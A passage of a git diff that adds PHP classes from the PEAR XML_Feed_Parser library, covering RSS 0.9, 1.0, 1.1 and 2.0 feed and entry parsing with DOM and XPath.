Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser_RSS09Element extends XML_Feed_Parser_RSS09 +{ + /** + * This will be a reference to the parent object for when we want + * to use a 'fallback' rule + * @var XML_Feed_Parser_RSS09 + */ + protected $parent; + + /** + * Our specific element map + * @var array + */ + protected $map = array( + 'title' => array('Text'), + 'link' => array('Link')); + + /** + * Store useful information for later. + * + * @param DOMElement $element - this item as a DOM element + * @param XML_Feed_Parser_RSS1 $parent - the feed of which this is a member + */ + function __construct(DOMElement $element, $parent, $xmlBase = '') + { + $this->model = $element; + $this->parent = $parent; + } +} + +?> \ No newline at end of file diff --git a/tools/pear_xml_parser/Parser/RSS1.php b/tools/pear_xml_parser/Parser/RSS1.php new file mode 100755 index 0000000..7222908 --- /dev/null +++ b/tools/pear_xml_parser/Parser/RSS1.php @@ -0,0 +1,275 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: RSS1.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * This class handles RSS1.0 feeds. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + * @todo Find a Relax NG URI we can use + */ +class XML_Feed_Parser_RSS1 extends XML_Feed_Parser_Type +{ + /** + * The URI of the RelaxNG schema used to (optionally) validate the feed + * @var string + */ + protected $relax = 'rss10.rng'; + + /** + * We're likely to use XPath, so let's keep it global + * @var DOMXPath + */ + protected $xpath; + + /** + * The feed type we are parsing + * @var string + */ + public $version = 'RSS 1.0'; + + /** + * The class used to represent individual items + * @var string + */ + protected $itemClass = 'XML_Feed_Parser_RSS1Element'; + + /** + * The element containing entries + * @var string + */ + protected $itemElement = 'item'; + + /** + * Here we map those elements we're not going to handle individually + * to the constructs they are. The optional second parameter in the array + * tells the parser whether to 'fall back' (not apt. at the feed level) or + * fail if the element is missing. If the parameter is not set, the function + * will simply return false and leave it to the client to decide what to do. + * @var array + */ + protected $map = array( + 'title' => array('Text'), + 'link' => array('Text'), + 'description' => array('Text'), + 'image' => array('Image'), + 'textinput' => array('TextInput'), + 'updatePeriod' => array('Text'), + 'updateFrequency' => array('Text'), + 'updateBase' => array('Date'), + 'rights' => array('Text'), # dc:rights + 'description' => array('Text'), # dc:description + 'creator' => array('Text'), # dc:creator + 'publisher' => array('Text'), # dc:publisher + 'contributor' => array('Text'), # dc:contributor + 'date' => array('Date') # dc:contributor + ); + + /** + * Here we map some elements to their atom equivalents. This is going to be + * quite tricky to pull off effectively (and some users' methods may vary) + * but is worth trying. The key is the atom version, the value is RSS2. + * @var array + */ + protected $compatMap = array( + 'title' => array('title'), + 'link' => array('link'), + 'subtitle' => array('description'), + 'author' => array('creator'), + 'updated' => array('date')); + + /** + * We will be working with multiple namespaces and it is useful to + * keep them together + * @var array + */ + protected $namespaces = array( + 'rdf' => 'http://www.w3.org/1999/02/22-rdf-syntax-ns#', + 'rss' => 'http://purl.org/rss/1.0/', + 'dc' => 'http://purl.org/rss/1.0/modules/dc/', + 'content' => 'http://purl.org/rss/1.0/modules/content/', + 'sy' => 'http://web.resource.org/rss/1.0/modules/syndication/'); + + /** + * Our constructor does nothing more than its parent. + * + * @param DOMDocument $xml A DOM object representing the feed + * @param bool (optional) $string Whether or not to validate this feed + */ + function __construct(DOMDocument $model, $strict = false) + { + $this->model = $model; + if ($strict) { + if (! $this->relaxNGValidate()) { + throw new XML_Feed_Parser_Exception('Failed required validation'); + } + } + + $this->xpath = new DOMXPath($model); + foreach ($this->namespaces as $key => $value) { + $this->xpath->registerNamespace($key, $value); + } + $this->numberEntries = $this->count('item'); + } + + /** + * Allows retrieval of an entry by ID where the rdf:about attribute is used + * + * This is not really something that will work with RSS1 as it does not have + * clear restrictions on the global uniqueness of IDs. We will employ the + * _very_ hit and miss method of selecting entries based on the rdf:about + * attribute. If DOMXPath::evaluate is available, we also use that to store + * a reference to the entry in the array used by getEntryByOffset so that + * method does not have to seek out the entry if it's requested that way. + * + * @param string $id any valid ID. + * @return XML_Feed_Parser_RSS1Element + */ + function getEntryById($id) + { + if (isset($this->idMappings[$id])) { + return $this->entries[$this->idMappings[$id]]; + } + + $entries = $this->xpath->query("//rss:item[@rdf:about='$id']"); + if ($entries->length > 0) { + $classname = $this->itemClass; + $entry = new $classname($entries->item(0), $this); + if (in_array('evaluate', get_class_methods($this->xpath))) { + $offset = $this->xpath->evaluate("count(preceding-sibling::rss:item)", $entries->item(0)); + $this->entries[$offset] = $entry; + } + $this->idMappings[$id] = $entry; + return $entry; + } + return false; + } + + /** + * Get details of the image associated with the feed. + * + * @return array|false an array simply containing the child elements + */ + protected function getImage() + { + $images = $this->model->getElementsByTagName('image'); + if ($images->length > 0) { + $image = $images->item(0); + $details = array(); + if ($image->hasChildNodes()) { + $details = array( + 'title' => $image->getElementsByTagName('title')->item(0)->value, + 'link' => $image->getElementsByTagName('link')->item(0)->value, + 'url' => $image->getElementsByTagName('url')->item(0)->value); + } else { + $details = array('title' => false, + 'link' => false, + 'url' => $image->attributes->getNamedItem('resource')->nodeValue); + } + $details = array_merge($details, array('description' => false, 'height' => false, 'width' => false)); + if (! empty($details)) { + return $details; + } + } + return false; + } + + /** + * The textinput element is little used, but in the interests of + * completeness we will support it. + * + * @return array|false + */ + protected function getTextInput() + { + $inputs = $this->model->getElementsByTagName('textinput'); + if ($inputs->length > 0) { + $input = $inputs->item(0); + $results = array(); + $results['title'] = isset( + $input->getElementsByTagName('title')->item(0)->value) ? + $input->getElementsByTagName('title')->item(0)->value : null; + $results['description'] = isset( + $input->getElementsByTagName('description')->item(0)->value) ? + $input->getElementsByTagName('description')->item(0)->value : null; + $results['name'] = isset( + $input->getElementsByTagName('name')->item(0)->value) ? + $input->getElementsByTagName('name')->item(0)->value : null; + $results['link'] = isset( + $input->getElementsByTagName('link')->item(0)->value) ? + $input->getElementsByTagName('link')->item(0)->value : null; + if (empty($results['link']) and + $input->attributes->getNamedItem('resource')) { + $results['link'] = + $input->attributes->getNamedItem('resource')->nodeValue; + } + if (! empty($results)) { + return $results; + } + } + return false; + } + + /** + * Employs various techniques to identify the author + * + * Dublin Core provides the dc:creator, dc:contributor, and dc:publisher + * elements for defining authorship in RSS1. We will try each of those in + * turn in order to simulate the atom author element and will return it + * as text. + * + * @return array|false + */ + function getAuthor() + { + $options = array('creator', 'contributor', 'publisher'); + foreach ($options as $element) { + $test = $this->model->getElementsByTagName($element); + if ($test->length > 0) { + return $test->item(0)->value; + } + } + return false; + } + + /** + * Retrieve a link + * + * In RSS1 a link is a text element but in order to ensure that we resolve + * URLs properly we have a special function for them. + * + * @return string + */ + function getLink($offset = 0, $attribute = 'href', $params = false) + { + $links = $this->model->getElementsByTagName('link'); + if ($links->length <= $offset) { + return false; + } + $link = $links->item($offset); + return $this->addBase($link->nodeValue, $link); + } +} + +?> diff --git a/tools/pear_xml_parser/Parser/RSS11.php b/tools/pear_xml_parser/Parser/RSS11.php new file mode 100755 index 0000000..996a9e0 --- /dev/null +++ b/tools/pear_xml_parser/Parser/RSS11.php @@ -0,0 +1,274 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: RSS11.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * This class handles RSS1.1 feeds. RSS1.1 is documented at: + * http://inamidst.com/rss1.1/ + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + * @todo Support for RDF:List + * @todo Ensure xml:lang is accessible to users + */ +class XML_Feed_Parser_RSS11 extends XML_Feed_Parser_Type +{ + /** + * The URI of the RelaxNG schema used to (optionally) validate the feed + * @var string + */ + protected $relax = 'rss11.rng'; + + /** + * We're likely to use XPath, so let's keep it global + * @var DOMXPath + */ + protected $xpath; + + /** + * The feed type we are parsing + * @var string + */ + public $version = 'RSS 1.0'; + + /** + * The class used to represent individual items + * @var string + */ + protected $itemClass = 'XML_Feed_Parser_RSS1Element'; + + /** + * The element containing entries + * @var string + */ + protected $itemElement = 'item'; + + /** + * Here we map those elements we're not going to handle individually + * to the constructs they are. The optional second parameter in the array + * tells the parser whether to 'fall back' (not apt. at the feed level) or + * fail if the element is missing. If the parameter is not set, the function + * will simply return false and leave it to the client to decide what to do. + * @var array + */ + protected $map = array( + 'title' => array('Text'), + 'link' => array('Text'), + 'description' => array('Text'), + 'image' => array('Image'), + 'updatePeriod' => array('Text'), + 'updateFrequency' => array('Text'), + 'updateBase' => array('Date'), + 'rights' => array('Text'), # dc:rights + 'description' => array('Text'), # dc:description + 'creator' => array('Text'), # dc:creator + 'publisher' => array('Text'), # dc:publisher + 'contributor' => array('Text'), # dc:contributor + 'date' => array('Date') # dc:contributor + ); + + /** + * Here we map some elements to their atom equivalents. This is going to be + * quite tricky to pull off effectively (and some users' methods may vary) + * but is worth trying. The key is the atom version, the value is RSS2. + * @var array + */ + protected $compatMap = array( + 'title' => array('title'), + 'link' => array('link'), + 'subtitle' => array('description'), + 'author' => array('creator'), + 'updated' => array('date')); + + /** + * We will be working with multiple namespaces and it is useful to + * keep them together. We will retain support for some common RSS1.0 modules + * @var array + */ + protected $namespaces = array( + 'rdf' => 'http://www.w3.org/1999/02/22-rdf-syntax-ns#', + 'rss' => 'http://purl.org/net/rss1.1#', + 'dc' => 'http://purl.org/rss/1.0/modules/dc/', + 'content' => 'http://purl.org/rss/1.0/modules/content/', + 'sy' => 'http://web.resource.org/rss/1.0/modules/syndication/'); + + /** + * Our constructor does nothing more than its parent. + * + * @param DOMDocument $xml A DOM object representing the feed + * @param bool (optional) $string Whether or not to validate this feed + */ + function __construct(DOMDocument $model, $strict = false) + { + $this->model = $model; + + if ($strict) { + if (! $this->relaxNGValidate()) { + throw new XML_Feed_Parser_Exception('Failed required validation'); + } + } + + $this->xpath = new DOMXPath($model); + foreach ($this->namespaces as $key => $value) { + $this->xpath->registerNamespace($key, $value); + } + $this->numberEntries = $this->count('item'); + } + + /** + * Attempts to identify an element by ID given by the rdf:about attribute + * + * This is not really something that will work with RSS1.1 as it does not have + * clear restrictions on the global uniqueness of IDs. We will employ the + * _very_ hit and miss method of selecting entries based on the rdf:about + * attribute. Please note that this is even more hit and miss with RSS1.1 than + * with RSS1.0 since RSS1.1 does not require the rdf:about attribute for items. + * + * @param string $id any valid ID. + * @return XML_Feed_Parser_RSS1Element + */ + function getEntryById($id) + { + if (isset($this->idMappings[$id])) { + return $this->entries[$this->idMappings[$id]]; + } + + $entries = $this->xpath->query("//rss:item[@rdf:about='$id']"); + if ($entries->length > 0) { + $classname = $this->itemClass; + $entry = new $classname($entries->item(0), $this); + return $entry; + } + return false; + } + + /** + * Get details of the image associated with the feed. + * + * @return array|false an array simply containing the child elements + */ + protected function getImage() + { + $images = $this->model->getElementsByTagName('image'); + if ($images->length > 0) { + $image = $images->item(0); + $details = array(); + if ($image->hasChildNodes()) { + $details = array( + 'title' => $image->getElementsByTagName('title')->item(0)->value, + 'url' => $image->getElementsByTagName('url')->item(0)->value); + if ($image->getElementsByTagName('link')->length > 0) { + $details['link'] = + $image->getElementsByTagName('link')->item(0)->value; + } + } else { + $details = array('title' => false, + 'link' => false, + 'url' => $image->attributes->getNamedItem('resource')->nodeValue); + } + $details = array_merge($details, + array('description' => false, 'height' => false, 'width' => false)); + if (! empty($details)) { + return $details; + } + } + return false; + } + + /** + * The textinput element is little used, but in the interests of + * completeness we will support it. + * + * @return array|false + */ + protected function getTextInput() + { + $inputs = $this->model->getElementsByTagName('textinput'); + if ($inputs->length > 0) { + $input = $inputs->item(0); + $results = array(); + $results['title'] = isset( + $input->getElementsByTagName('title')->item(0)->value) ? + $input->getElementsByTagName('title')->item(0)->value : null; + $results['description'] = isset( + $input->getElementsByTagName('description')->item(0)->value) ? + $input->getElementsByTagName('description')->item(0)->value : null; + $results['name'] = isset( + $input->getElementsByTagName('name')->item(0)->value) ? + $input->getElementsByTagName('name')->item(0)->value : null; + $results['link'] = isset( + $input->getElementsByTagName('link')->item(0)->value) ? + $input->getElementsByTagName('link')->item(0)->value : null; + if (empty($results['link']) and + $input->attributes->getNamedItem('resource')) { + $results['link'] = $input->attributes->getNamedItem('resource')->nodeValue; + } + if (! empty($results)) { + return $results; + } + } + return false; + } + + /** + * Attempts to discern authorship + * + * Dublin Core provides the dc:creator, dc:contributor, and dc:publisher + * elements for defining authorship in RSS1. We will try each of those in + * turn in order to simulate the atom author element and will return it + * as text. + * + * @return array|false + */ + function getAuthor() + { + $options = array('creator', 'contributor', 'publisher'); + foreach ($options as $element) { + $test = $this->model->getElementsByTagName($element); + if ($test->length > 0) { + return $test->item(0)->value; + } + } + return false; + } + + /** + * Retrieve a link + * + * In RSS1 a link is a text element but in order to ensure that we resolve + * URLs properly we have a special function for them. + * + * @return string + */ + function getLink($offset = 0, $attribute = 'href', $params = false) + { + $links = $this->model->getElementsByTagName('link'); + if ($links->length <= $offset) { + return false; + } + $link = $links->item($offset); + return $this->addBase($link->nodeValue, $link); + } +} + +?> diff --git a/tools/pear_xml_parser/Parser/RSS11Element.php b/tools/pear_xml_parser/Parser/RSS11Element.php new file mode 100755 index 0000000..073a121 --- /dev/null +++ b/tools/pear_xml_parser/Parser/RSS11Element.php @@ -0,0 +1,151 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: RSS11Element.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/* + * This class provides support for RSS 1.1 entries. It will usually be called by + * XML_Feed_Parser_RSS11 with which it shares many methods. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser_RSS11Element extends XML_Feed_Parser_RSS11 +{ + /** + * This will be a reference to the parent object for when we want + * to use a 'fallback' rule + * @var XML_Feed_Parser_RSS1 + */ + protected $parent; + + /** + * Our specific element map + * @var array + */ + protected $map = array( + 'id' => array('Id'), + 'title' => array('Text'), + 'link' => array('Link'), + 'description' => array('Text'), # or dc:description + 'category' => array('Category'), + 'rights' => array('Text'), # dc:rights + 'creator' => array('Text'), # dc:creator + 'publisher' => array('Text'), # dc:publisher + 'contributor' => array('Text'), # dc:contributor + 'date' => array('Date'), # dc:date + 'content' => array('Content') + ); + + /** + * Here we map some elements to their atom equivalents. This is going to be + * quite tricky to pull off effectively (and some users' methods may vary) + * but is worth trying. The key is the atom version, the value is RSS1. + * @var array + */ + protected $compatMap = array( + 'content' => array('content'), + 'updated' => array('lastBuildDate'), + 'published' => array('date'), + 'subtitle' => array('description'), + 'updated' => array('date'), + 'author' => array('creator'), + 'contributor' => array('contributor') + ); + + /** + * Store useful information for later. + * + * @param DOMElement $element - this item as a DOM element + * @param XML_Feed_Parser_RSS1 $parent - the feed of which this is a member + */ + function __construct(DOMElement $element, $parent, $xmlBase = '') + { + $this->model = $element; + $this->parent = $parent; + } + + /** + * If an rdf:about attribute is specified, return that as an ID + * + * There is no established way of showing an ID for an RSS1 entry. We will + * simulate it using the rdf:about attribute of the entry element. This cannot + * be relied upon for unique IDs but may prove useful. + * + * @return string|false + */ + function getId() + { + if ($this->model->attributes->getNamedItem('about')) { + return $this->model->attributes->getNamedItem('about')->nodeValue; + } + return false; + } + + /** + * Return the entry's content + * + * The official way to include full content in an RSS1 entry is to use + * the content module's element 'encoded'. Often, however, the 'description' + * element is used instead. We will offer that as a fallback. + * + * @return string|false + */ + function getContent() + { + $options = array('encoded', 'description'); + foreach ($options as $element) { + $test = $this->model->getElementsByTagName($element); + if ($test->length == 0) { + continue; + } + if ($test->item(0)->hasChildNodes()) { + $value = ''; + foreach ($test->item(0)->childNodes as $child) { + if ($child instanceof DOMText) { + $value .= $child->nodeValue; + } else { + $simple = simplexml_import_dom($child); + $value .= $simple->asXML(); + } + } + return $value; + } else if ($test->length > 0) { + return $test->item(0)->nodeValue; + } + } + return false; + } + + /** + * How RSS1.1 should support for enclosures is not clear. For now we will return + * false. + * + * @return false + */ + function getEnclosure() + { + return false; + } +} + +?> diff --git a/tools/pear_xml_parser/Parser/RSS1Element.php b/tools/pear_xml_parser/Parser/RSS1Element.php new file mode 100755 index 0000000..d080508 --- /dev/null +++ b/tools/pear_xml_parser/Parser/RSS1Element.php @@ -0,0 +1,116 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: RSS1Element.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/* + * This class provides support for RSS 1.0 entries. It will usually be called by + * XML_Feed_Parser_RSS1 with which it shares many methods. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser_RSS1Element extends XML_Feed_Parser_RSS1 +{ + /** + * This will be a reference to the parent object for when we want + * to use a 'fallback' rule + * @var XML_Feed_Parser_RSS1 + */ + protected $parent; + + /** + * Our specific element map + * @var array + */ + protected $map = array( + 'id' => array('Id'), + 'title' => array('Text'), + 'link' => array('Link'), + 'description' => array('Text'), # or dc:description + 'category' => array('Category'), + 'rights' => array('Text'), # dc:rights + 'creator' => array('Text'), # dc:creator + 'publisher' => array('Text'), # dc:publisher + 'contributor' => array('Text'), # dc:contributor + 'date' => array('Date'), # dc:date + 'content' => array('Content') + ); + + /** + * Here we map some elements to their atom equivalents. This is going to be + * quite tricky to pull off effectively (and some users' methods may vary) + * but is worth trying. The key is the atom version, the value is RSS1. + * @var array + */ + protected $compatMap = array( + 'content' => array('content'), + 'updated' => array('lastBuildDate'), + 'published' => array('date'), + 'subtitle' => array('description'), + 'updated' => array('date'), + 'author' => array('creator'), + 'contributor' => array('contributor') + ); + + /** + * Store useful information for later. + * + * @param DOMElement $element - this item as a DOM element + * @param XML_Feed_Parser_RSS1 $parent - the feed of which this is a member + */ + function __construct(DOMElement $element, $parent, $xmlBase = '') + { + $this->model = $element; + $this->parent = $parent; + } + + /** + * If an rdf:about attribute is specified, return it as an ID + * + * There is no established way of showing an ID for an RSS1 entry. We will + * simulate it using the rdf:about attribute of the entry element. This cannot + * be relied upon for unique IDs but may prove useful. + * + * @return string|false + */ + function getId() + { + if ($this->model->attributes->getNamedItem('about')) { + return $this->model->attributes->getNamedItem('about')->nodeValue; + } + return false; + } + + /** + * How RSS1 should support for enclosures is not clear. For now we will return + * false. + * + * @return false + */ + function getEnclosure() + { + return false; + } +} + +?> diff --git a/tools/pear_xml_parser/Parser/RSS2.php b/tools/pear_xml_parser/Parser/RSS2.php new file mode 100755 index 0000000..77c72af --- /dev/null +++ b/tools/pear_xml_parser/Parser/RSS2.php @@ -0,0 +1,334 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: RSS2.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * This class handles RSS2 feeds. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser_RSS2 extends XML_Feed_Parser_Type +{ + /** + * The URI of the RelaxNG schema used to (optionally) validate the feed + * @var string + */ + protected $relax = 'rss20.rng'; + + /** + * We're likely to use XPath, so let's keep it global + * @var DOMXPath + */ + protected $xpath; + + /** + * The feed type we are parsing + * @var string + */ + public $version = 'RSS 2.0'; + + /** + * The class used to represent individual items + * @var string + */ + protected $itemClass = 'XML_Feed_Parser_RSS2Element'; + + /** + * The element containing entries + * @var string + */ + protected $itemElement = 'item'; + + /** + * Here we map those elements we're not going to handle individually + * to the constructs they are. The optional second parameter in the array + * tells the parser whether to 'fall back' (not apt. at the feed level) or + * fail if the element is missing. If the parameter is not set, the function + * will simply return false and leave it to the client to decide what to do. + * @var array + */ + protected $map = array( + 'ttl' => array('Text'), + 'pubDate' => array('Date'), + 'lastBuildDate' => array('Date'), + 'title' => array('Text'), + 'link' => array('Link'), + 'description' => array('Text'), + 'language' => array('Text'), + 'copyright' => array('Text'), + 'managingEditor' => array('Text'), + 'webMaster' => array('Text'), + 'category' => array('Text'), + 'generator' => array('Text'), + 'docs' => array('Text'), + 'ttl' => array('Text'), + 'image' => array('Image'), + 'skipDays' => array('skipDays'), + 'skipHours' => array('skipHours')); + + /** + * Here we map some elements to their atom equivalents. This is going to be + * quite tricky to pull off effectively (and some users' methods may vary) + * but is worth trying. The key is the atom version, the value is RSS2. + * @var array + */ + protected $compatMap = array( + 'title' => array('title'), + 'rights' => array('copyright'), + 'updated' => array('lastBuildDate'), + 'subtitle' => array('description'), + 'date' => array('pubDate'), + 'author' => array('managingEditor')); + + protected $namespaces = array( + 'dc' => 'http://purl.org/rss/1.0/modules/dc/', + 'content' => 'http://purl.org/rss/1.0/modules/content/'); + + /** + * Our constructor does nothing more than its parent. + * + * @param DOMDocument $xml A DOM object representing the feed + * @param bool (optional) $string Whether or not to validate this feed + */ + function __construct(DOMDocument $model, $strict = false) + { + $this->model = $model; + + if ($strict) { + if (! $this->relaxNGValidate()) { + throw new XML_Feed_Parser_Exception('Failed required validation'); + } + } + + $this->xpath = new DOMXPath($this->model); + foreach ($this->namespaces as $key => $value) { + $this->xpath->registerNamespace($key, $value); + } + $this->numberEntries = $this->count('item'); + } + + /** + * Retrieves an entry by ID, if the ID is specified with the guid element + * + * This is not really something that will work with RSS2 as it does not have + * clear restrictions on the global uniqueness of IDs. But we can emulate + * it by allowing access based on the 'guid' element. If DOMXPath::evaluate + * is available, we also use that to store a reference to the entry in the array + * used by getEntryByOffset so that method does not have to seek out the entry + * if it's requested that way. + * + * @param string $id any valid ID. + * @return XML_Feed_Parser_RSS2Element + */ + function getEntryById($id) + { + if (isset($this->idMappings[$id])) { + return $this->entries[$this->idMappings[$id]]; + } + + $entries = $this->xpath->query("//item[guid='$id']"); + if ($entries->length > 0) { + $entry = new $this->itemElement($entries->item(0), $this); + if (in_array('evaluate', get_class_methods($this->xpath))) { + $offset = $this->xpath->evaluate("count(preceding-sibling::item)", $entries->item(0)); + $this->entries[$offset] = $entry; + } + $this->idMappings[$id] = $entry; + return $entry; + } + } + + /** + * Get a category from the element + * + * The category element is a simple text construct which can occur any number + * of times. We allow access by offset or access to an array of results. + * + * @param string $call for compatibility with our overloading + * @param array $arguments - arg 0 is the offset, arg 1 is whether to return as array + * @return string|array|false + */ + function getCategory($call, $arguments = array()) + { + $categories = $this->model->getElementsByTagName('category'); + $offset = empty($arguments[0]) ? 0 : $arguments[0]; + $array = empty($arguments[1]) ? false : true; + if ($categories->length <= $offset) { + return false; + } + if ($array) { + $list = array(); + foreach ($categories as $category) { + array_push($list, $category->nodeValue); + } + return $list; + } + return $categories->item($offset)->nodeValue; + } + + /** + * Get details of the image associated with the feed. + * + * @return array|false an array simply containing the child elements + */ + protected function getImage() + { + $images = $this->xpath->query("//image"); + if ($images->length > 0) { + $image = $images->item(0); + $desc = $image->getElementsByTagName('description'); + $description = $desc->length ? $desc->item(0)->nodeValue : false; + $heigh = $image->getElementsByTagName('height'); + $height = $heigh->length ? $heigh->item(0)->nodeValue : false; + $widt = $image->getElementsByTagName('width'); + $width = $widt->length ? $widt->item(0)->nodeValue : false; + return array( + 'title' => $image->getElementsByTagName('title')->item(0)->nodeValue, + 'link' => $image->getElementsByTagName('link')->item(0)->nodeValue, + 'url' => $image->getElementsByTagName('url')->item(0)->nodeValue, + 'description' => $description, + 'height' => $height, + 'width' => $width); + } + return false; + } + + /** + * The textinput element is little used, but in the interests of + * completeness... + * + * @return array|false + */ + function getTextInput() + { + $inputs = $this->model->getElementsByTagName('input'); + if ($inputs->length > 0) { + $input = $inputs->item(0); + return array( + 'title' => $input->getElementsByTagName('title')->item(0)->value, + 'description' => + $input->getElementsByTagName('description')->item(0)->value, + 'name' => $input->getElementsByTagName('name')->item(0)->value, + 'link' => $input->getElementsByTagName('link')->item(0)->value); + } + return false; + } + + /** + * Utility function for getSkipDays and getSkipHours + * + * This is a general function used by both getSkipDays and getSkipHours. It simply + * returns an array of the values of the children of the appropriate tag. + * + * @param string $tagName The tag name (getSkipDays or getSkipHours) + * @return array|false + */ + protected function getSkips($tagName) + { + $hours = $this->model->getElementsByTagName($tagName); + if ($hours->length == 0) { + return false; + } + $skipHours = array(); + foreach($hours->item(0)->childNodes as $hour) { + if ($hour instanceof DOMElement) { + array_push($skipHours, $hour->nodeValue); + } + } + return $skipHours; + } + + /** + * Retrieve skipHours data + * + * The skiphours element provides a list of hours on which this feed should + * not be checked. We return an array of those hours (integers, 24 hour clock) + * + * @return array + */ + function getSkipHours() + { + return $this->getSkips('skipHours'); + } + + /** + * Retrieve skipDays data + * + * The skipdays element provides a list of days on which this feed should + * not be checked. We return an array of those days. + * + * @return array + */ + function getSkipDays() + { + return $this->getSkips('skipDays'); + } + + /** + * Return content of the little-used 'cloud' element + * + * The cloud element is rarely used. It is designed to provide some details + * of a location to update the feed. + * + * @return array an array of the attributes of the element + */ + function getCloud() + { + $cloud = $this->model->getElementsByTagName('cloud'); + if ($cloud->length == 0) { + return false; + } + $cloudData = array(); + foreach ($cloud->item(0)->attributes as $attribute) { + $cloudData[$attribute->name] = $attribute->value; + } + return $cloudData; + } + + /** + * Get link URL + * + * In RSS2 a link is a text element but in order to ensure that we resolve + * URLs properly we have a special function for them. We maintain the + * parameter used by the atom getLink method, though we only use the offset + * parameter. + * + * @param int $offset The position of the link within the feed. Starts from 0 + * @param string $attribute The attribute of the link element required + * @param array $params An array of other parameters. Not used. + * @return string + */ + function getLink($offset, $attribute = 'href', $params = array()) + { + $links = $this->model->getElementsByTagName('link'); + + if ($links->length <= $offset) { + return false; + } + $link = $links->item($offset); + return $this->addBase($link->nodeValue, $link); + } +} + +?> diff --git a/tools/pear_xml_parser/Parser/RSS2Element.php b/tools/pear_xml_parser/Parser/RSS2Element.php new file mode 100755 index 0000000..33fa983 --- /dev/null +++ b/tools/pear_xml_parser/Parser/RSS2Element.php @@ -0,0 +1,171 @@ + + * @copyright 2005 James Stewart + * @license http://www.gnu.org/copyleft/lesser.html GNU LGPL 2.1 + * @version CVS: $Id: RSS2Element.php 6844 2011-06-03 14:46:51Z dMetzger $ + * @link http://pear.php.net/package/XML_Feed_Parser/ + */ + +/** + * This class provides support for RSS 2.0 entries. It will usually be + * called by XML_Feed_Parser_RSS2 with which it shares many methods. + * + * @author James Stewart + * @version Release: @package_version@ + * @package XML_Feed_Parser + */ +class XML_Feed_Parser_RSS2Element extends XML_Feed_Parser_RSS2 +{ + /** + * This will be a reference to the parent object for when we want + * to use a 'fallback' rule + * @var XML_Feed_Parser_RSS2 + */ + protected $parent; + + /** + * Our specific element map + * @var array + */ + protected $map = array( + 'title' => array('Text'), + 'guid' => array('Guid'), + 'description' => array('Text'), + 'author' => array('Text'), + 'comments' => array('Text'), + 'enclosure' => array('Enclosure'), + 'pubDate' => array('Date'), + 'source' => array('Source'), + 'link' => array('Text'), + 'content' => array('Content')); + + /** + * Here we map some elements to their atom equivalents. This is going to be + * quite tricky to pull off effectively (and some users' methods may vary) + * but is worth trying. The key is the atom version, the value is RSS2. + * @var array + */ + protected $compatMap = array( + 'id' => array('guid'), + 'updated' => array('lastBuildDate'), + 'published' => array('pubdate'), + 'guidislink' => array('guid', 'ispermalink'), + 'summary' => array('description')); + + /** + * Store useful information for later. + * + * @param DOMElement $element - this item as a DOM element + * @param XML_Feed_Parser_RSS2 $parent - the feed of which this is a member + */ + function __construct(DOMElement $element, $parent, $xmlBase = '') + { + $this->model = $element; + $this->parent = $parent; + } + + /** + * Get the value of the guid element, if specified + * + * guid is the closest RSS2 has to atom's ID. It is usually but not always a + * URI. The one attribute that RSS2 can posess is 'ispermalink' which specifies + * whether the guid is itself dereferencable. Use of guid is not obligatory, + * but is advisable. To get the guid you would call $item->id() (for atom + * compatibility) or $item->guid(). To check if this guid is a permalink call + * $item->guid("ispermalink"). + * + * @param string $method - the method name being called + * @param array $params - parameters required + * @return string the guid or value of ispermalink + */ + protected function getGuid($method, $params) + { + $attribute = (isset($params[0]) and $params[0] == 'ispermalink') ? + true : false; + $tag = $this->model->getElementsByTagName('guid'); + if ($tag->length > 0) { + if ($attribute) { + if ($tag->hasAttribute("ispermalink")) { + return $tag->getAttribute("ispermalink"); + } + } + return $tag->item(0)->nodeValue; + } + return false; + } + + /** + * Access details of file enclosures + * + * The RSS2 spec is ambiguous as to whether an enclosure element must be + * unique in a given entry. For now we will assume it needn't, and allow + * for an offset. + * + * @param string $method - the method being called + * @param array $parameters - we expect the first of these to be our offset + * @return array|false + */ + protected function getEnclosure($method, $parameters) + { + $encs = $this->model->getElementsByTagName('enclosure'); + $offset = isset($parameters[0]) ? $parameters[0] : 0; + if ($encs->length > $offset) { + try { + if (! $encs->item($offset)->hasAttribute('url')) { + return false; + } + $attrs = $encs->item($offset)->attributes; + return array( + 'url' => $attrs->getNamedItem('url')->value, + 'length' => $attrs->getNamedItem('length')->value, + 'type' => $attrs->getNamedItem('type')->value); + } catch (Exception $e) { + return false; + } + } + return false; + } + + /** + * Get the entry source if specified + * + * source is an optional sub-element of item. Like atom:source it tells + * us about where the entry came from (eg. if it's been copied from another + * feed). It is not a rich source of metadata in the same way as atom:source + * and while it would be good to maintain compatibility by returning an + * XML_Feed_Parser_RSS2 element, it makes a lot more sense to return an array. + * + * @return array|false + */ + protected function getSource() + { + $get = $this->model->getElementsByTagName('source'); + if ($get->length) { + $source = $get->item(0); + $array = array( + 'content' => $source->nodeValue); + foreach ($source->attributes as $attribute) { + $array[$attribute->name] = $attribute->value; + } + return 